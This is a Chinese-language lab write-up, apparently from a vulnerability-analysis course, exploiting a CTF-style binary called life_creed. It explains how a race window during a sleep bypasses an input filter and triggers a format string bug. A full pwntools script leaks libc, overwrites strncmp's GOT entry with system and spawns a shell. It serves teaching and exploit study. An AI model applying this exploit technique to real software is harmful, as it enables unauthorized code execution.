漏洞分析技术实验4:条件竞争漏洞

漏洞分析技术实验4:条件竞争漏洞

FindFuner author

实验4:竞争条件漏洞

1. 实验环境

Linux虚拟机(kali)

life_creed、libc.so

2.实验原理

  1. 条件竞争漏洞:、

    程序中存在并发执行流,多个并发流会访问同一对象,当至少有一个控制流会改变竞争对象的状态时,有可能发生条件竞争。

  2. 格式化字符串漏洞

    通过构造特殊的格式化字符串,进行内存泄漏、覆写内存等操作。

3.实验要求

调试分析 life_creed 程序,写出漏洞利用脚本,拿到shell

4.实验过程

分析life_creed

(1) main 函数

image-20231113172330360

(2)sub_400A56(Alarm)

​ alarm(0x1Eu) 函数,该程序设置了执行的时间限制,不得超过 30s。

image-20231113174419711

(3)sub_400AA3(Options)

​ 通过scanf输入 1-5 数字,选择对应操作。

image-20231113174425583

(4)sub_400B69(Add_data)

​ 进行初始化操作,通过 scanf 输入添加 name 和 life_creed 数据,分别存放在 &byte_6020E0(重命名为name_buf)和 dest(重命名为life_creed_buf)中。

image-20231113174432137

(5)start_routine(Rename)

​ 通过 read 函数获取输入,修改 name_buf 中存放的 name 数据。

image-20231113174443462

(6)sub_400CE1(Modify_life_creed)

​ 通过 read 获取输入,暂存在buf中,再通过 sub_400BDA(Check)函数检查有无不合法字符,若 buf 中含有不合法字符,则函数退出终止运行,若 buf 中字符均合法,函数继续运行,sleep 3 s,输出 life_creed_buf 中的 life_creed。

image-20231113174450400

image-20231113174456022

(7)sub_400DD0(Inquiry)

​ 查询信息,输出name 和 life_creed。

image-20231113174501568

(8)sub_400E13(End_Game)

​ 通过 read 获取输入信息,当输入信息为 “yes” 时,程序正常退出。

image-20231113174508548

(9)整理后的 main 函数

image-20231113174515513

漏洞利用思路

(1)漏洞点

​ 漏洞点在 Modify_life_creed 函数中,该函数有一个 printf() 函数,存在格式化字符串漏洞,修改 life_creed_buf 中的数据,构造特殊的字符串,再 printf 触发,覆写内存。

image-20231113174521162

(2)条件竞争改写 life_creed_buf

​ printf 函数需要通过输出 life_creed_buf 中的字符来触发格式化字符串漏洞,在 printf 函数之前,strncpy 将 buf 中的字符拷贝至 life_creed_buf 中,而 buf 中的的字符经过了Check函数的校验,不能存在 “$” “%” 字符,而这两个字符是我们利用格式化字符串漏洞所需要的。除了在 Modify_life_creed 函数中我们可以修改 life_creed_buf 中的数据之外,我们还可以在 Add_data 函数中修改 life_creed_buf 。我们需要做的是在 Modify_life_creed 函数中 strncpy执行之后 ,printf 执行之前,修改 life_creed_buf 。在 strncpy 和 printf 之间有一个 sleep 函数,使该函数休眠 3 s,在此期间,我们可以调用 Add_data 函数,修改 life_creed_buf 中的数据,构造触发格式化字符串漏洞的字符串。

(3)buf 是 printf 第6个参数

​ 实际改写 life_creed_buf 的时候会出现一个问题,Add_data 函数中是通过 sacnf 函数获取输入信息的,而我们输入的字符串中存在使 scanf 函数自动截断的数据,比如:\x20 等,这部分数据是格式化字符串漏洞要覆写的地址,也就是说,通过 scanf 我们可以输入构造的格式化字符串,而覆写的地址要找别的法子输入。

​ 由于是 64 位系统的程序,我们分析一下,printf 的参数情况,通过条件竞争,在 Modify_life_creed 函数中 strncpy 执行之后, printf 执行之前,修改 life_creed_buf ,输入 “%x.%x.%x.%x.%x.%x.%x.%x” ,泄露相关内存。此外,在 Modify_life_creed 函数中我们,我们输入 “aaaabbbbccccdddd” 作为 buf 的输入。运行脚本,发现 “aaaa” 为printf的第6个参数,我们可以将 “aaaa”改为对应覆写地址。这样就可以通过 printf 函数触发 life_creed_buf 中的格式化字符串覆写地址了。

image-20231113174528067

image-20231113174534615

(4)覆写 strncmp 地址为 system

​ 通过(2)(3)两步将strncmp函数的 got 表地址修改为 system,这样在 End_Game 函数中,我们可以输入 “\bin\sh” ,执行 system 函数,达成漏洞利用目的。

5.编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64')
context.log_level='debug'

local = 1
_elf='./life_creed'
_libc='/lib/x86_64-linux-gnu/libc.so.6'
_addr=''
_port=0

def getConn():
    if local ==1:
        return process(_elf)
    else:
        return remote(_addr,_port)

def debug(p,cmd=None):
    if local==1:
        gdb.attach(p,cmd)
    pause()

def Modify_life_creed(context):
    p.sendlineafter("Your choice:","3")
    p.sendafter("new life_creed: ",context)

def Add_data(context):
    p.sendlineafter("Your choice:","1")
    #p.recvuntil("Your choice:")
    p.sendline("1")
    p.sendafter("life_creed: ",context)

elf=ELF(_elf)
libc=ELF(_libc)
strncmp_got=elf.got["strncmp"]
puts_got=elf.got["puts"]

p=getConn()

# debug(p,"b *0x400e13")

Modify_life_creed(p64(puts_got))
Add_data(b"%6$s")
#Modify_life_creed("aaaabbbbccccddddeeeeffffgggg")
#Add_data(b"%x.%x.%x.%x.%x.%x.%x.%x")
# debug(p,"b *0x400e13")

p.recvuntil("life_creed is:")
puts_addr=u64(p.recv(6).ljust(8,b"\x00"))
system_addr= puts_addr-libc.sym["puts"] + libc.sym["system"]

#log.info(hex(puts_addr))
#log.info(hex(system_addr))

sleep(3)

payload1=b""
payload2=""
prev=0

for i in range(6):
    payload1 += p64(strncmp_got+i)
    word=(system_addr>>(i*8))&0xff
    target= (word-prev+0x100)%0x100
    prev = word
    payload2 += f"%{target}c%{i+6}$hhn"

p.sendline("6")
Modify_life_creed(payload1)
Add_data(payload2)

sleep(3)

p.sendline("6")
p.sendlineafter("Your choice:","5")
p.recvuntil("Are you satisfied with this game?")
p.send("/bin/sh")

p.interactive()

6.漏洞利用效果

image-20231113174544889

  • 标题: 漏洞分析技术实验4:条件竞争漏洞
  • 作者: FindFuner
  • 创建于 : 2023-11-13 17:13:06
  • 更新于 : 2023-11-13 17:45:47
  • 链接: https://nnna48.github.io/2023/11/13/漏洞分析技术实验四/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。